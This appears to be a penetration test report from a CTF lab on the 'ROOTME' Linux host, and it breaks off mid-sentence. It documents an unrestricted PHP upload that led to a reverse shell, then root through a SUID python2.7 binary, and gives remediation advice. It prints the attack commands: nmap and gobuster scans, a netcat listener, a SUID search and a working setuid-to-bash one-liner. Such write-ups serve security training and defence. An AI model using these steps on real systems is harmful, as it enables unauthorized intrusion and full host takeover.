Penetration Test Report – ROOTME Host Compromise

Document Control

> Update: v1.5.0 corrects Markdown formatting in Evidence sections and aligns evidence references with available screenshots/logs.

- Client / Environment: Controlled Lab / CTF Simulation
- Target Asset: ROOTME (Linux Host)
- Target IP: 10.48.172.182
- Author: PREM
- Version: 1.4.1
- Date: 2026-01-21
- Classification: Confidential (Lab Report)

Confidentiality Statement

This document contains security assessment results intended solely for authorized use. Distribution or reproduction without permission is prohibited. The assessment was performed in a controlled lab environment. No persistence was deployed and no destructive actions were performed.

---

1. Executive Summary

A penetration test was conducted against a Linux host in a controlled lab environment. The host was found vulnerable to Remote Code Execution (RCE) via an insecure web file upload mechanism, resulting in an initial shell as the web-server user (www-data). Further enumeration identified a misconfigured SUID binary (python2.7), which was leveraged to escalate privileges to root.

This compromise demonstrates that a remote attacker could fully take control of the system, enabling full data access, service manipulation, and system takeover.

---

2. Scope

2.1 In Scope

- Target IP: 10.48.172.182
- Services Tested:
  - TCP/22 (SSH)
  - TCP/80 (HTTP – Apache Web Server)

2.2 Out of Scope

- Denial-of-Service (DoS) testing
- Password brute force attacks
- Persistence mechanisms

2.3 Assumptions & Limitations

- Assessment performed in a simulated environment.
- No destructive actions were performed.
- Only activities actually executed during the assessment are documented.

---

3. Methodology

Testing followed a standard penetration testing lifecycle:

1. Reconnaissance & Enumeration
2. Vulnerability Identification
3. Exploitation (Foothold)
4. Local Enumeration
5. Privilege Escalation
6. Impact Validation (non-destructive)

---

4. Risk Rating Methodology (Brief)

Severity ratings are derived using:

- CVSS v3.1 scoring (industry standard)
- Practical exploitability in the observed environment
- Confidentiality / Integrity / Availability impact

> Note: CVSS scoring reflects risk evaluation and does not imply additional testing beyond documented evidence.

---

5. Technical Findings Summary

ID	Finding	Severity	CVSS v3.1	Status
F-01	Unrestricted File Upload leading to Remote Code Execution	Critical	9.8	Exploited
F-02	Misconfigured SUID python2.7 enabling root privilege escalation	High	7.8	Exploited

---

6. Findings

F-01: Unrestricted File Upload → Remote Code Execution

Severity: Critical
CWE: CWE-434 (Unrestricted Upload of File with Dangerous Type)
CVSS v3.1: 9.8 (Critical)

CVSS Justification: Remote exploitable over HTTP, no authentication was observed during testing, no user interaction, results in full system compromise (High C/I/A).

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Affected Service: HTTP (Apache on TCP/80)
Attack Vector: Remote

Description

The web application exposed an upload function and a browsable /uploads directory. Server-side validation did not effectively prevent uploading executable PHP content. By uploading and executing a PHP reverse shell (php-reverse-shell.php3), remote command execution was achieved on the host.

Evidence

Network scan (Nmap)

bash
nmap -sC -sV -O -v -p- 10.48.172.182

Evidence references

- Nmap (service discovery) screenshot: evidence/nmap/nmap_scan.png

---

Enumeration (Gobuster)

bash
gobuster dir -u http://10.48.172.182/ \
  -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
  -x php,js,css,bak -r

Discovered paths (relevant):

- /panel
- /uploads (directory listing enabled)

Evidence references

- Gobuster enumeration screenshot: evidence/web/gobuster.png

Upload exploitation proof

Uploaded payload filename: php-reverse-shell.php3

Evidence references

- Reverse shell payload configuration (PHP reverse shell): evidence/web/php-reverse-shell.png
- Upload directory listing showing uploaded payload: evidence/web/uploads.png
- Reverse shell connection received + id proof (www-data): evidence/web/got_reverse_shell.png

Listener (attacker)

bash
nc -lvnp 1234

Shell verification

bash
whoami
id

Result: www-data

Impact

- Remote code execution on the server
- Exposure of application source code and secrets
- Potential internal pivoting opportunities (if connected network exists)
- Credential extraction from configuration files

Remediation

- Block executable file extensions (.php, .phtml, .php5, etc.)
- Enforce strict server-side validation (MIME + extension + file content)
- Store uploads outside web root (e.g., /var/uploads) and serve via a separate domain if needed
- Disable directory listing (Apache: Options -Indexes) and restrict access to upload directories
- Apply least-privilege permissions to upload directories; deny execution of scripts in upload folder (Nginx/Apache rules)
- Consider antivirus/malware scanning for uploads

F-02: Misconfigured SUID Python Binary → Root Privilege Escalation

Severity: High
CWE: CWE-250 (Execution with Unnecessary Privileges); CWE-269 (Improper Privilege Management)
CVSS v3.1: 7.8 (High)

CVSS Justification: Requires local access (foothold) but exploitation is low complexity and results in full root compromise (High C/I/A).

Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Affected Host: Linux
Attack Vector: Local (requires foothold)

Description

Local enumeration identified that /usr/bin/python2.7 was configured with the SUID permission bit. This allowed Python to execute with elevated privileges and enabled privilege escalation to root.

Evidence

Evidence references

- Root shell gained proof: evidence/priv-esc/root_shell_gained.png
- Root flag proof: evidence/priv-esc/root_flag.png

SUID enumeration (manual)

bash
find / -perm -4000 -type f 2>/dev/null

Automated enumeration (optional)

bash
./linpeas.sh

Reporting note: Enumeration steps above were performed during testing; however, screenshot/log evidence of the enumeration output was not captured. Evidence provided focuses on successful exploitation and root access confirmation.

Vulnerable binary

- /usr/bin/python2.7 (SUID-enabled)

Exploitation

bash
/usr/bin/python2.7 -c 'import os; os.setuid(0); os.system("/bin/bash")'

Verification

bash
whoami
id

Result: root

Impact

- Full system compromise
- Ability to disable security controls
- Unauthorized access/modification/exfiltration of system data
- Persistence opportunities (not performed)

Remediation

- Remove SUID bit immediately:

bash
chmod u-s /usr/bin/python2.7

- Perform routine SUID/SGID audits
- Remove Python2 if not required (EOL) and reduce attack surface

---

7. Attack Chain Summary

1. External Enumeration: Identified exposed HTTP service.
2. Web Enumeration: Discovered /panel and browseable /uploads.
3. Foothold: Uploaded and executed PHP reverse shell → shell as www-data.
4. Privilege Escalation: Abused SUID python2.7 → root shell.
5. Validation: Confirmed root privileges via id output.

---

8. Potential Post-Exploitation Impact (Not Performed / Restricted)

Note: The following activities were not executed in this environment due to CTF restrictions / engagement limitations. They are included to describe the realistic impact of obtaining root privileges in a production environment.

- Credential harvesting from configuration files and system stores
- Persistence via scheduled tasks/services (not performed)
- Host-based log manipulation (not performed)
- Enumeration of internal network routes and pivot opportunities (not performed)

---

9. Conclusion

The ROOTME host was fully compromised using a low-complexity exploit chain:

- Initial Access: Unrestricted file upload resulting in RCE
- Privilege Escalation: Misconfigured SUID Python binary

These findings represent Critical overall risk, as exploitation requires minimal effort and results in full system compromise. Remediation should prioritize secure upload